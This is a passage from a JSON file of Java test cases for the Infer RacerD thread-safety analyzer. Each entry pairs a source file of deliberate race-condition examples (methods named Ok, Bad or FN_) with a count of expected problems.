listSubclassWriteBad(ArrayList list, int index) {\n list.remove(index);\n }\n\n List mListNobodyWrites;\n\n void listReadOk(int index, String s) {\n mListNobodyWrites.contains(s);\n mListNobodyWrites.get(index);\n mListNobodyWrites.isEmpty();\n mListNobodyWrites.size();\n }\n\n List mListSyncWrites;\n\n synchronized void listSyncAddBad(String s) {\n mListSyncWrites.add(s);\n }\n\n boolean listReadBad(String s) {\n return mListSyncWrites.contains(s);\n }\n\n void accessSafeListOk(CopyOnWriteArrayList list, int index) {\n list.remove(index);\n }\n\n // maps\n void mapPutBad(String key, String value) {\n mMap.put(key, value);\n }\n\n void mapRemoveBad(String key) {\n mMap.remove(key);\n }\n\n void mapClearBad() {\n mMap.clear();\n }\n\n void mapPutAllBad(Map otherMap) {\n mMap.putAll(otherMap);\n }\n\n Map mMapNobodyWrites;\n\n void mapReadsOk(String s) {\n mMapNobodyWrites.containsKey(s);\n mMapNobodyWrites.containsValue(s);\n mMapNobodyWrites.entrySet();\n mMapNobodyWrites.hashCode();\n mMapNobodyWrites.isEmpty();\n mMapNobodyWrites.keySet();\n mMapNobodyWrites.size();\n mMapNobodyWrites.values();\n }\n\n // make sure we still warn on subtypes of Map\n void mapSubclassWriteBad(HashMap m, String key) {\n m.remove(key);\n }\n\n synchronized void synchronizedWriteOk1(String key) {\n mMap.remove(key);\n }\n\n void synchronizedWriteOk2(String key, String lock) {\n synchronized (lock) {\n mMap.remove(key);\n }\n }\n\n void accessToSychronizedMapsOk(\n String key,\n ConcurrentMap concurrentMap,\n ConcurrentHashMap concurrentHashMap) {\n\n concurrentMap.remove(key);\n concurrentHashMap.remove(key);\n }\n\n public void containerWrapperOwnedWriteOk(Object o) {\n ContainerWrapper wrapper = new ContainerWrapper();\n wrapper.write(o);\n }\n\n ContainerWrapper mContainerWrapper;\n\n public void containerWrapperUnownedWriteBad(Object o) {\n mContainerWrapper.write(o);\n }\n\n static SynchronizedPool sPool;\n\n void poolAcquireOk() {\n Obj obj = sPool.acquire();\n obj.f = new Object();\n }\n\n void poolAcquireThenNullCheckOk() {\n Obj obj = sPool.acquire();\n if (obj == null) {\n obj = new Obj();\n }\n obj.f = new Object();\n }\n\n static boolean sUsePooling;\n\n private Obj poolWrapper1() {\n Obj obj = sUsePooling ? sPool.acquire() : null;\n if (obj == null) {\n obj = new Obj();\n }\n\n return obj;\n }\n\n void poolWrapperOk1() {\n Obj obj = poolWrapper1();\n obj.f = new Object();\n }\n\n private Pools.Pool mPool;\n private boolean mIsSync;\n\n private Obj poolWrapper2() {\n Obj item;\n if (mIsSync) {\n synchronized (this) {\n item = mPool.acquire();\n }\n } else {\n item = mPool.acquire();\n }\n return item;\n }\n\n void poolWrapperOk2() {\n Obj obj = poolWrapper2();\n obj.f = new Object();\n }\n\n // need to understand semantics of release to get this one\n void FN_poolReleaseThenWriteBad() {\n Obj obj = sPool.acquire();\n sPool.release(obj);\n obj.f = new Object(); // should flag\n }\n\n void release(Obj o) {\n sPool.release(o);\n }\n\n // we won't catch this without a fancier ownership domain\n void FN_poolReleaseThenWriteInterprocBad() {\n Obj obj = sPool.acquire();\n release(obj);\n obj.f = new Object(); // should flag\n }\n\n private static List addOrCreateList(List list) {\n if (list == null) {\n list = new ArrayList<>();\n }\n // we get list |-> ({ OwnedIf (0) } |_| { Owned }) here, which simplifies to list |-> {} due\n // to limitations in AttributeMapDomain (join is just simple intersection)\n list.add(new Object());\n return list;\n }\n\n public void addToNullListOk() {\n List list = null;\n addOrCreateList(list);\n }\n\n void addToSparseArrayCompatOk() {\n SparseArrayCompat sparseArray = new SparseArrayCompat();\n sparseArray.put(0, new Object());\n }\n\n public void addToSparseArrayCompatBad(SparseArrayCompat sparseArray) {\n sparseArray.put(0, new Object());\n }\n\n public void addToSparseArrayOk() {\n SparseArray sparseArray = new SparseArray();\n sparseArray.put(0, new Object());\n }\n\n public void addToSparseArrayBad(SparseArray sparseArray) {\n sparseArray.put(0, new Object());\n }\n\n SimpleArrayMap si_map = new SimpleArrayMap();\n\n public synchronized void addToSimpleArrayMapOk() {\n si_map.put(1, 1);\n }\n\n public void addToSimpleArrayMapBad(SimpleArrayMap map) {\n map.put(1, 1);\n }\n\n // this should be a read/write race with addToSimpleArrayMapOk\n public int readSimpleArrayMap() {\n return si_map.get(1);\n }\n\n SimplePool simplePool = new SimplePool(10);\n\n public synchronized Integer getFromPoolOK() {\n return simplePool.acquire();\n }\n\n public void poolBad() {\n Integer a;\n synchronized (this) {\n a = simplePool.acquire();\n }\n simplePool.release(a);\n }\n\n Map mAliasedMap;\n\n // won't report here because the read happens through an alias\n public String FN_AliasedMapBad() {\n synchronized (this) {\n mAliasedMap.put(\"a\", \"b\");\n }\n Map alias = mAliasedMap;\n return alias.get(\"a\");\n }\n\n Map mConcurrentMap = new ConcurrentHashMap();\n\n void dynamicallyTypedConcurrentMapPutOk(String key, String value) {\n mConcurrentMap.put(key, value);\n }\n\n List mSomeList = new ArrayList();\n\n void addToUnsynchronizedListBad(String value) {\n mSomeList.add(value);\n }\n\n List mSomeOtherList = new ArrayList();\n\n int getListSizeBad() {\n return mSomeOtherList.size();\n }\n\n synchronized void raceWithSizeBad(String value) {\n mSomeOtherList.remove(value);\n }\n\n Map mSomeMap = new HashMap();\n\n int getMapSizeBad() {\n return mSomeMap.size();\n }\n\n synchronized void raceWithMapSizeBad(String value) {\n mSomeMap.remove(value);\n }\n\n Map mSomeOtherMap = new Hashtable();\n\n void writeToHashtableOk(String value) {\n mSomeOtherMap.remove(value);\n }\n\n Set mConcurrentSet = new ConcurrentSkipListSet();\n\n void dynamicallyTypedConcurrentSetAddOk(String value) {\n mConcurrentSet.add(value);\n }\n\n List mWrappedList = Collections.synchronizedList(new ArrayList());\n\n void wrappedListAddOk(String value) {\n mWrappedList.add(value);\n }\n\n Set mGoogleSynchronizedSet = Sets.newConcurrentHashSet();\n\n void googleSynchronizedSetAddOk(String value) {\n mGoogleSynchronizedSet.add(value);\n }\n\n Mac mac = null;\n\n void raceOnMacInitBad(Key key) throws InvalidKeyException {\n mac.init(key);\n }\n\n void raceOnMacUpdateBad(byte[] bytes) {\n mac.update(bytes);\n }\n\n byte[] raceOnMacDoFinalBad() {\n return mac.doFinal();\n }\n\n static Set staticSyncSet = new ConcurrentSkipListSet();\n\n static void staticAddToSyncIntegerSetOk(int s) {\n staticSyncSet.add(s);\n }\n\n ConcurrentLinkedDeque deque;\n\n void addToDequeOk(Object o) {\n deque.add(o);\n }\n\n Object popDequeOk() {\n return deque.pop();\n }\n}\n" - }, - { - "testname": "DeepOwnership.java", - "testlanguage": "java", - "expected-problems": 12, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport com.facebook.infer.annotation.ThreadSafe;\n\n@ThreadSafe\nclass DeepOwnership {\n DeepOwnership next;\n static DeepOwnership global;\n\n void globalNotOwnedBad() {\n global.next = null;\n }\n\n void FN_reassignBaseToGlobalBad() {\n DeepOwnership x = new DeepOwnership();\n x = global;\n x.next = null;\n }\n\n void FN_reassignPathToGlobalBad() {\n DeepOwnership x = new DeepOwnership();\n x.next = global;\n x.next.next = null;\n }\n\n void deepIntraOk() {\n DeepOwnership x = new DeepOwnership();\n x.next.next = null; // doesn't warn here\n }\n\n void deepInterOk() {\n DeepOwnership x = new DeepOwnership();\n deepPrivate(x.next);\n }\n\n private void deepPrivate(DeepOwnership y) {\n y.next = null;\n }\n\n DeepOwnership deepFromOwnedThisOk() {\n return new DeepOwnership();\n }\n\n DeepOwnership arr[];\n\n DeepOwnership() {\n next.next = null;\n arr[0] = null;\n }\n\n private void loseOwnershipOfNext() {\n synchronized (this) {\n this.next = global;\n }\n }\n\n void FN_loseOwnershipInCalleeBad() {\n DeepOwnership x = new DeepOwnership();\n x.next = new DeepOwnership();\n loseOwnershipOfNext();\n x.next.next = null; // doesn't warn here\n }\n}\n" - }, - { - "testname": "Dispatch.java", - "testlanguage": "java", - "expected-problems": 39, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport com.facebook.infer.annotation.ThreadConfined;\nimport com.facebook.infer.annotation.ThreadSafe;\n\ninterface UnannotatedInterface {\n public void foo();\n}\n\n@ThreadSafe\ninterface AnnotatedInterface {\n public void foo();\n}\n\ninterface AnnotatedInterfaceMethod {\n\n @ThreadSafe\n public void foo();\n}\n\nclass NotThreadSafe {\n void notThreadSafeOk(UnannotatedInterface i) {\n i.foo(); // ok\n }\n}\n\n@ThreadConfined(ThreadConfined.ANY)\ninterface ThreadConfinedInterface {\n void foo();\n}\n\ninterface ThreadConfinedMethod {\n\n @ThreadConfined(ThreadConfined.ANY)\n void foo();\n}\n\n@ThreadSafe\npublic class Dispatch {\n\n void callUnannotatedInterfaceBad(UnannotatedInterface i) {\n i.foo();\n }\n\n void callUnannotatedInterfaceIndirectBad(NotThreadSafe s, UnannotatedInterface i) {\n s.notThreadSafeOk(i);\n }\n\n synchronized void callUnannotatedInterfaceUnderLockOk(NotThreadSafe s, UnannotatedInterface i) {\n s.notThreadSafeOk(i);\n }\n\n void callAnnotatedInterfaceOk(AnnotatedInterface i) {\n i.foo();\n }\n\n void callAnnotatedInterfaceMethodOk(AnnotatedInterfaceMethod i) {\n i.foo();\n }\n\n void callThreadConfinedInterfaceOk(ThreadConfinedInterface t) {\n t.foo();\n }\n\n void callThreadConfinedInterfaceMethodOk(ThreadConfinedMethod t) {\n t.foo();\n }\n\n public void callUnderLock(AnnotatedInterface i) {\n synchronized (this) {\n i.foo();\n }\n }\n\n private void privateCallUnnanotatedInterfaceOk(UnannotatedInterface i) {\n i.foo();\n }\n\n public void callOwnedUnnanotatedInterfaceOk() {\n UnannotatedInterface owned = new UnannotadedImplementation();\n privateCallUnnanotatedInterfaceOk(owned);\n }\n\n UnannotatedInterface mUnannotated;\n\n private void privateCallOk() {\n mUnannotated.foo();\n }\n\n public void publicCallBad() {\n privateCallOk();\n }\n\n public Dispatch() {\n // this is OK even though public, since the object is owned\n privateCallOk();\n }\n}\n\nclass Some {\n\n void callFromElsewhere(Dispatch d, AnnotatedInterface i) {\n d.callUnderLock(i);\n }\n}\n\n@ThreadSafe\nclass ThreadConfinedField {\n @ThreadConfined(ThreadConfined.ANY)\n UnannotatedInterface mThreadConfined;\n\n UnannotatedInterface mNormal;\n\n void interfaceCallOnThreadConfinedFieldOk() {\n mThreadConfined.foo();\n }\n\n void interfaceCallOnNormalFieldBad() {\n mNormal.foo();\n }\n}\n\nclass UnannotadedImplementation implements UnannotatedInterface {\n public void foo() {}\n}\n" - }, - { - "testname": "DoNotReport.java", - "testlanguage": "java", - "expected-problems": 4, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage com.racerd.donotreport;\n\nimport com.facebook.infer.annotation.ThreadSafe;\n\n@ThreadSafe\nclass DoNotReport {\n\n int mFld;\n\n // normally we would report this, but we won't because com.racerd.donotreport is block listed in\n // .inferconfig\n void obviousRaceBad(int i) {\n mFld = i;\n }\n}\n" - }, - { - "testname": "Escape.java", - "testlanguage": "java", - "expected-problems": 41, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport javax.annotation.concurrent.ThreadSafe;\n\n@ThreadSafe\npublic class Escape {\n\n private Obj mField;\n private static Obj sGlobal;\n\n // this can race with unsafe writes to mField.f\n public synchronized Object racyRead1() {\n return mField.f;\n }\n\n // this can race with unsafe writes to mField.f\n public synchronized Object racyRead2() {\n return sGlobal.f;\n }\n\n public void FN_fieldEscapeBad() {\n Obj o = new Obj();\n synchronized (this) {\n mField = o;\n }\n o.f = new Object(); // not safe\n }\n\n public void FN_globalEscapeBad() {\n Obj o = new Obj();\n synchronized (Escape.class) {\n sGlobal = o;\n }\n o.f = new Object(); // not safe\n }\n\n public synchronized void escapeInCallee(Obj o) {\n mField = o;\n }\n\n public void FN_escapeInCalleeBad() {\n Obj o = new Obj();\n escapeInCallee(o);\n o.f = new Object();\n }\n\n public void aliasOk() {\n Obj o = new Obj(); // though there's two pointers to this address, neither escapes\n Obj alias = o;\n o.f = null;\n alias.f = null;\n }\n\n public void nonAliasReadOk() {\n Obj o = new Obj();\n String s = o + \"a\";\n o.f = null; // ok\n }\n\n public void FN_escapeViaAliasBad1() {\n Obj o = new Obj();\n Obj alias = o;\n escapeInCallee(alias);\n o.f = null; // bad\n alias.f = null; // bad\n }\n\n public void FN_escapeViaAliasBad2() {\n Obj o = new Obj();\n Obj alias = o;\n escapeInCallee(o);\n o.f = null; // bad\n alias.f = null; // bad\n }\n\n public Obj id(Obj o) {\n return o;\n }\n\n public void FN_aliasViaReturnBad1() {\n Obj o = new Obj();\n Obj alias = id(o);\n escapeInCallee(alias);\n o.f = null; // bad\n alias.f = null; // bad\n }\n\n public void FN_aliasViaReturnBad2() {\n Obj o = new Obj();\n Obj alias = id(o);\n escapeInCallee(o);\n o.f = null; // bad\n alias.f = null; // bad\n }\n\n private void twoParamsOneEscapes(Obj o1, Obj o2) {\n synchronized (Escape.class) {\n sGlobal = o1;\n }\n o1.f = null; // only safe if o1/o2 not aliased\n }\n\n public void FN_aliasedParamsBad() {\n Obj o = new Obj();\n twoParamsOneEscapes(o, o); // should report racy write in callee\n o.f = null; // bad\n }\n\n public void nonAliasedParamsOk() {\n Obj o1 = new Obj();\n Obj o2 = new Obj();\n twoParamsOneEscapes(o1, o2);\n o2.f = null; // ok\n }\n}\n\n@ThreadSafe\nclass Leaky {\n\n Leaky mLeak;\n Object mField;\n Object sGlobal;\n\n public Leaky() {\n mLeak = this;\n }\n\n public void FN_leakyConstructorBad() {\n Leaky l = new Leaky();\n synchronized (Leaky.class) {\n sGlobal = l.mLeak; // oops, this leaks l\n }\n l.mField = 1; // bad\n }\n}\n" - }, - { - "testname": "GuardedByTests.java", - "testlanguage": "java", - "expected-problems": 56, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport com.facebook.infer.annotation.ThreadSafe;\nimport com.google.common.annotations.VisibleForTesting;\nimport javax.annotation.concurrent.GuardedBy;\n\npublic class GuardedByTests {\n private Object mlock = new Object();\n\n @GuardedBy(\"mLock\")\n private int a;\n\n public GuardedByTests() {\n // don't warn on reads or writes of Guarded fields in constructor\n a = 0;\n }\n\n public void lockedWriteOk() {\n synchronized (mlock) {\n a = 0;\n }\n }\n\n @GuardedBy(\"mLock\")\n private int b;\n\n public void unlockedWriteBad() {\n b = 0;\n }\n\n @GuardedBy(\"mLock\")\n private int c;\n\n public int unlockedReadOk() {\n return c;\n }\n\n public int lockedReadOk() {\n synchronized (mlock) {\n return c;\n }\n }\n\n @GuardedBy(\"mLock\")\n private int d;\n\n private void privateUnlockedWriteOk() {\n d = 0;\n }\n\n public void interprocUnlockedWriteBad() {\n privateUnlockedWriteOk();\n }\n\n @GuardedBy(\"mLock\")\n private int e;\n\n private int privateUnlockedReadOk() {\n return e;\n }\n\n public int interprocUnlockedReadOk() {\n return privateUnlockedReadOk();\n }\n\n @GuardedBy(\"mLock\")\n private int f;\n\n // NB ThreadSafe annotation disables GuardedBy check too\n @ThreadSafe(enableChecks = false)\n void suppressedWrite() {\n f = 0;\n }\n\n @GuardedBy(\"mLock\")\n private int h;\n\n @VisibleForTesting\n public void visibleForTestingOk() {\n h = 0;\n }\n\n static Object slock = new Object();\n\n @GuardedBy(\"slock\")\n static int sf;\n\n static {\n // don't warn on class initializer\n sf = 0;\n }\n\n @GuardedBy(\"this\")\n int i;\n\n synchronized void syncWriteOk() {\n i = 5;\n }\n\n synchronized int syncReadOk() {\n return i;\n }\n\n GuardedByOther o;\n\n void accessThroughMemberObjectOk() {\n o.accessBad();\n }\n\n void accessIndirectOk(GuardedByOther o) {\n o.accessBad();\n }\n}\n\nclass GuardedByOther {\n @GuardedBy(\"bla\")\n int x;\n\n void accessBad() {\n x = 0;\n }\n}\n\nclass GuardedByUiThread {\n @GuardedBy(\"UiThReAd\")\n int a;\n\n @GuardedBy(\"ui-thread\")\n int b;\n\n @GuardedBy(\"UI thread\")\n int c;\n\n @GuardedBy(\"UI_THREAD\")\n int d;\n\n void uithreadOk() {\n a = b = c = d = 0;\n }\n}\n" - }, - { - "testname": "Ignored.java", - "testlanguage": "java", - "expected-problems": 6, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\npackage codetoanalyze.java.racerd;\n\nimport javax.annotation.concurrent.ThreadSafe;\n\n@ThreadSafe\nclass Ignored {\n IgnoredSub s;\n\n void zeroOk() {\n s.zeroOk();\n }\n}\n\n@ThreadSafe\nclass IgnoredSub {\n int i;\n\n void zeroOk() {\n i = 0;\n }\n\n int getOk() {\n return i;\n }\n}\n" - }, - { - "testname": "Inference.java", - "testlanguage": "java", - "expected-problems": 22, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\n// test that we can infer when code needs to be thread-safe even without annotations\npublic class Inference {\n\n int mField1;\n\n synchronized void writeUnderLock1Ok() {\n mField1 = 1;\n }\n\n // should report because there's a write in a method that we think can run on multiple threads\n int unprotectedRead1Bad() {\n int ret = mField1;\n return ret;\n }\n\n int mField2;\n\n void writeUnderLock2Ok() {\n synchronized (this) {\n mField2 = 2;\n }\n }\n\n int unprotectedRead2Bad() {\n int ret = mField2;\n return ret;\n }\n\n // TODO: handle these casely separately, since assuming that any method whose (transitive) callee\n // uses a lock can run on multiple threads may cause a lot of false positives\n int mField3;\n\n // empty call that uses a lock\n private synchronized void useLock() {}\n\n int useLockInCalleeThenReadBad() {\n useLock();\n return mField3;\n }\n\n void FN_writeToFieldWrittenInLockUsingMethodBad() {\n mField3 = 3;\n }\n\n int mField4;\n int mField5;\n\n synchronized int readInsideSyncCoincidentally() {\n mField4 = 4; // we will assume this needs to be protected...\n int ret = mField5; // ...but not this\n return ret;\n }\n\n int read4OutsideSyncBad() {\n int ret = mField4; // report\n return ret;\n }\n\n void write5OutsideSyncOk() {\n mField5 = 5; // don't report\n }\n}\n" - }, - { - "testname": "Locks.java", - "testlanguage": "java", - "expected-problems": 94, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReadWriteLock;\nimport java.util.concurrent.locks.ReentrantLock;\nimport java.util.concurrent.locks.ReentrantReadWriteLock;\nimport javax.annotation.concurrent.ThreadSafe;\n\n@ThreadSafe\npublic class Locks {\n Integer f;\n\n Lock mLock;\n ReadWriteLock mReadWriteLock;\n ReentrantLock mReentrantLock;\n ReentrantReadWriteLock mReentrantReadWriteLock;\n\n // we allow this for now\n public void FN_lockInOneBranchBad(boolean b) {\n if (b) {\n mLock.lock();\n }\n f = 24;\n if (b) {\n mLock.unlock();\n }\n }\n\n public void afterUnlockBad() {\n mLock.lock();\n mLock.unlock();\n f = 42;\n }\n\n public void afterReentrantLockUnlockBad() {\n mReentrantLock.lock();\n mReentrantLock.unlock();\n f = 42;\n }\n\n public void afterWriteLockUnlockBad() {\n mReentrantReadWriteLock.writeLock().lock();\n mReentrantReadWriteLock.writeLock().unlock();\n f = 42;\n }\n\n public void lockOk() {\n mLock.lock();\n f = 42;\n mLock.unlock();\n }\n\n public void lockBothBranchesOk(boolean b) {\n if (b) {\n mLock.lock();\n } else {\n mLock.lock();\n }\n f = 42;\n mLock.unlock();\n }\n\n public void reentrantLockOk() {\n mReentrantLock.lock();\n f = 42;\n mReentrantLock.unlock();\n }\n\n public void normalLockTryLockOk() {\n if (mLock.tryLock()) {\n f = 42;\n mLock.unlock();\n }\n }\n\n public void reentrantLockTryLockOk() {\n if (mReentrantLock.tryLock()) {\n f = 42;\n mReentrantLock.unlock();\n }\n }\n\n public void tryLockNoCheckBad() {\n mReentrantLock.tryLock(); // might return false\n f = 42;\n }\n\n public void tryLockWrongBranchBad() {\n if (mReentrantLock.tryLock()) {\n } else {\n f = 42;\n }\n }\n\n public void tryLockPropagateOk() {\n boolean result = mReentrantLock.tryLock();\n boolean copy = result;\n if (copy) {\n f = 42;\n }\n }\n\n public void negatedReentrantLockTryLockBad() {\n if (!mReentrantLock.tryLock()) {\n f = 42;\n }\n }\n\n public void negatedReentrantLockTryLockOk() {\n if (!mReentrantLock.tryLock()) {\n\n } else {\n f = 42;\n }\n }\n\n // we could catch this by invalidating the choice predicates whenever we update the lock domain\n public void FN_tryLockStaleBad() {\n boolean result = mReentrantLock.tryLock();\n mReentrantLock.unlock();\n if (result) {\n f = 42; // oops, actually not safe\n }\n }\n\n public void reentrantLockInterruptiblyOk() throws InterruptedException {\n mReentrantLock.lockInterruptibly();\n f = 42;\n mReentrantLock.unlock();\n }\n\n private void acquireLock() {\n mLock.lock();\n }\n\n public void acquireLockInCalleeOk() {\n acquireLock();\n f = 42;\n mLock.unlock();\n }\n\n public void writeLockOk() {\n mReadWriteLock.writeLock().lock();\n f = 42;\n mReadWriteLock.writeLock().unlock();\n }\n\n public void reentrantWriteLockOk() {\n mReentrantReadWriteLock.writeLock().lock();\n f = 42;\n mReentrantReadWriteLock.writeLock().unlock();\n }\n\n private void releaseLock() {\n mLock.unlock();\n }\n\n void nested1Ok() {\n synchronized (this) {\n synchronized (this) {\n }\n // a bad abstraction of locks will treat this as unlocked...\n f = 32;\n }\n }\n\n void nested2Ok() {\n synchronized (this) {\n synchronized (this) {\n f = 32;\n }\n }\n }\n\n void nested3Ok() {\n synchronized (this) {\n f = 32;\n synchronized (this) {\n }\n }\n }\n\n void nested1Bad() {\n synchronized (this) {\n synchronized (this) {\n }\n }\n f = 32;\n }\n\n void nested2Bad() {\n synchronized (this) {\n }\n f = 32;\n synchronized (this) {\n }\n }\n\n void nested3Bad() {\n synchronized (this) {\n }\n synchronized (this) {\n }\n f = 32;\n }\n\n void useLock() {\n synchronized (this) {\n }\n }\n\n void useLockInCalleeBad() {\n useLock();\n f = 32;\n }\n\n void lockInLoopOk(int i) {\n while (i > 0) {\n i++;\n mLock.lock();\n }\n f = 32;\n }\n\n void unlockInLoopOk(int i) {\n mLock.lock();\n while (i > 0) {\n i++;\n mLock.unlock();\n }\n f = 32;\n }\n\n void lockInLoopLexicalBad(int i) {\n while (i > 0) {\n i++;\n synchronized (this) {\n }\n }\n f = 32;\n }\n\n void lockInLoopLexicalOk(int i) {\n while (i > 0) {\n i++;\n synchronized (this) {\n f = 32;\n }\n }\n }\n\n void loopInLockLexicalBad(int i) {\n synchronized (this) {\n while (i > 0) {\n i++;\n }\n f = 32;\n }\n }\n\n public void unlockOneLockOk() {\n mLock.lock();\n mReentrantLock.lock();\n mReentrantLock.unlock();\n f = 42;\n mLock.unlock();\n }\n\n // ... or here\n public void FN_releaseLockInCalleeBad() {\n mLock.lock();\n releaseLock();\n f = 42;\n }\n\n // we shouldn't be able to write when holding a readLock\n public void FN_readLockOk() {\n mReentrantReadWriteLock.readLock().lock();\n f = 42;\n mReentrantReadWriteLock.readLock().unlock();\n }\n\n boolean mField;\n\n boolean readUnderLockOk() {\n synchronized (this) {\n return mField;\n }\n }\n\n void writeUnderLockOk() {\n synchronized (this) {\n mField = true;\n }\n }\n\n boolean readOutsideLock1Bad() {\n synchronized (this) {\n }\n return mField;\n }\n\n boolean readOutsideLock2Bad() {\n boolean tmp = mField;\n synchronized (this) {\n }\n return tmp;\n }\n\n public boolean readInTryCatchWithLockOk() {\n mLock.lock();\n try {\n return mField;\n } finally {\n mLock.unlock();\n }\n }\n\n public void writeInsideTryCatchWithLockOk() {\n mLock.lock();\n try {\n mField = true;\n } finally {\n mLock.unlock();\n }\n }\n\n Object mField2;\n\n private synchronized void lockedWriteInCallee() {\n this.mField2 = null;\n }\n\n public static void ownedLockedReadOk() {\n Locks owned = new Locks();\n owned.lockedWriteInCallee();\n }\n\n public Object unownedReadOk() {\n // safe because the only other access to mField is owned\n return this.mField2;\n }\n\n Object mField3;\n\n private synchronized void lockedWriteInCallee2() {\n this.mField3 = null;\n }\n\n public void unownedLockedWriteOk() {\n lockedWriteInCallee2();\n }\n\n public Object unownedReadBad() {\n return this.mField3;\n }\n}\n" - }, - { - "testname": "NonSourceVar.java", - "testlanguage": "java", - "expected-problems": 5, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport javax.annotation.concurrent.ThreadSafe;\n\n// TODO fix FN T38248006\n@ThreadSafe\npublic class NonSourceVar {\n private long field;\n\n public void FN_conditionalOperatorBad(long v) {\n field = field < v ? field : v;\n }\n}\n" - }, - { - "testname": "NotThreadSafeExample.java", - "testlanguage": "java", - "expected-problems": 4, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport javax.annotation.concurrent.NotThreadSafe;\n\n@NotThreadSafe\npublic class NotThreadSafeExample {\n\n Integer f;\n\n public void tsBad() {\n /*Shouldn't report*/\n f = 24;\n }\n}\n" - }, - { - "testname": "Ownership.java", - "testlanguage": "java", - "expected-problems": 143, - "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationTargetException;\nimport java.util.ArrayList;\nimport javax.annotation.concurrent.ThreadSafe;\nimport javax.inject.Inject;\nimport javax.inject.Provider;\n\nclass Obj {\n Object f;\n Obj g;\n}\n\ninterface CustomProvider extends Provider {\n\n @Override\n public T get();\n}\n\n@ThreadSafe\npublic class Ownership {\n\n Obj field;\n\n public Ownership() {}\n\n public Ownership(Obj o) {\n field = o;\n }\n\n // understand that ownership can be acquired via DI\n @Inject\n Ownership(Provider objProvider) {\n Obj owned = objProvider.get();\n owned.f = new Object(); // should not report\n }\n\n @Inject\n Ownership(CustomProvider objProvider) {\n Obj owned = objProvider.get();\n owned.f = new Object(); // should not report\n }\n\n Obj mInjectedField1;\n Obj mInjectedField2;\n\n // because this constructor is meant to be called via DI, we assume that injectedField and other\n // parameters passed to the constructor will always be freshly allocated\n @Inject\n Ownership(Obj injectedField1, Obj injectedField2) {\n mInjectedField1 = injectedField1;\n mInjectedField2 = injectedField2;\n mInjectedField1.f = new Object(); // should not warn\n mInjectedField2.f = new Object(); // should not warn\n }\n\n Ownership(Obj obj, Object o) {\n obj.f = o; // not annotated @Inject; should warn\n }\n\n native void leakToAnotherThread(Object o);\n\n public void escapeViaConstructorBad() {\n Obj local = new Obj();\n Ownership constructed = new Ownership(local);\n local.f = new Object();\n }\n\n public void ownInOneBranchBad(Obj formal, boolean b) {\n if (b) {\n formal = new Obj();\n }\n // we might not own formal\n formal.f = new Object();\n }\n\n public void reassignToFormalBad(Obj formal) {\n Obj local = new Obj();\n formal.g = local; // bad, we don't own formal\n formal.g.f = new Object(); // ok; now that formal.g is reassigned to local, which we do own\n }\n\n public void ownedLocalOk() {\n Obj local = new Obj();\n local.f = new Object();\n }\n\n public Obj returnOwnedLocalOk() {\n Obj local = new Obj();\n local.f = new Object();\n return local;\n }\n\n public void writeOwnedLocalThenEscapeOk() {\n Obj local = new Obj();\n local.f = new Object();\n leakToAnotherThread(local);\n }\n\n public void ownInBranchesOk1(boolean b) {\n Obj local;\n if (b) {\n local = new Obj();\n local.f = new Object();\n } else {\n local = new Obj();\n local.f = new Integer(0);\n }\n local.f = new Boolean(false);\n }\n\n public void ownedAccessPathOk() {\n Obj local = new Obj();\n local.g = new Obj();\n local.g.f = new Object();\n }\n\n public void aliasOwnedLocalOk() {\n Obj local = new Obj();\n Obj alias = local;\n alias.f = new Object();\n local.f = new Object();\n }\n\n public void aliasOwnedLocalAccessPathOk() {\n Obj local = new Obj();\n local.g = new Obj();\n Obj alias = local.g;\n alias.f = new Object();\n }\n\n private void writeToFormal(Obj formal) {\n formal.f = new Object();\n }\n\n private void callWriteToFormal(Obj formal) {\n writeToFormal(formal);\n }\n\n private void setField(Obj o) {\n this.field = o;\n }\n\n native Obj getMaybeUnownedObj();\n\n // warn here even though this this is safe if `o` is owned at all call sites. because it's a\n // public method, it's possible to use it in an unsafe way\n public void writeToNotOwnedInCalleeBad1(Obj o) {\n writeToFormal(o);\n }\n\n public void FN_writeToNotOwnedInCalleeBad2() {\n Obj o = getMaybeUnownedObj();\n writeToFormal(o);\n }\n\n public void writeToNotOwnedInCalleeBad3(Obj o) {\n callWriteToFormal(o);\n }\n\n // assuming that we can't own the `this` object\n public void cantOwnThisBad() {\n setField(new Obj());\n }\n\n public void writeToOwnedInCalleeOk1() {\n Obj o = new Obj();\n writeToFormal(o);\n }\n\n public void writeToOwnedInCalleeIndirectOk1() {\n Obj o = new Obj();\n callWriteToFormal(o);\n }\n\n public void writeToOwnedInCalleeIndirectOk2() 